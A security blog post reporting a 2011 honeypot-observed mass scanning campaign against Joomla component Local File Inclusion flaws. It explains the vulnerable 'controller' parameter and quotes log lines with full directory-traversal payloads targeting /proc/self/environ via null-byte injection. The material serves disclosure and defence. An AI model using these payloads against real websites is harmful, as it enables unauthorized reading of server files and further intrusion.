[Honeypot Alert] Mass Joomla Component LFI Attacks Identified
![[Honeypot Alert] Mass Joomla Component LFI Attacks Identified](https://www.trustwave.com/hs-fs/hubfs/Web/Spiders/2024/spider_01-mob.png?width=450&height=250&name=spider_01-mob.png)
Joomla Component LFI Vulnerabilities
Joomla has hundreds of Controller components. Check out the Joomla Extension site for examples. Unfortunately, the vast majority of these components have LFI vulnerabilities. The vulnerability details are pretty much the same -
- The vulnerable page is "index.php".
- The "option" parameter is set to "com_xxxxxx" where xxxx is the vulnerable component name.
- Input passed via the "controller" parameter is not properly verified before being used to include files.
- By appending URL-encoded NULL bytes, an attacker can specify any arbitrary local file.
Here is an example OSVDB Search Query for a listing of these vulnerabiities.
Honeypot Attack Probes Identified
Our daily honeypot analysis has identified a mass scanning campaign aimed at various Joomla Component Local File Inclusion (LFI) Vulnerabilities. Here are a few example attacks taken from today's honeypot logs:
109.75.169.20 - - [17/Nov/2011:17:48:15 +0900] "GET /index.php?option=com_bca-rss-syndicator&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 404 224174.122.220.10 - - [17/Nov/2011:00:21:32 +0100] "GET /index.php?option=com_ckforms&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)"72.47.211.229 - - [17/Nov/2011:10:14:27 +0900] "GET /index.php?option=com_cvmaker&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 404 216180.235.131.131 - - [17/Nov/2011:01:34:54 +0900] "GET /index.php?option=com_datafeeds&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 404 222
Notice that various components are targeted in the "option" parameter and that the a directory traversal attack is used in the "controller" parameter. The LFI data is attempting to enumerate the OS shell environment data.
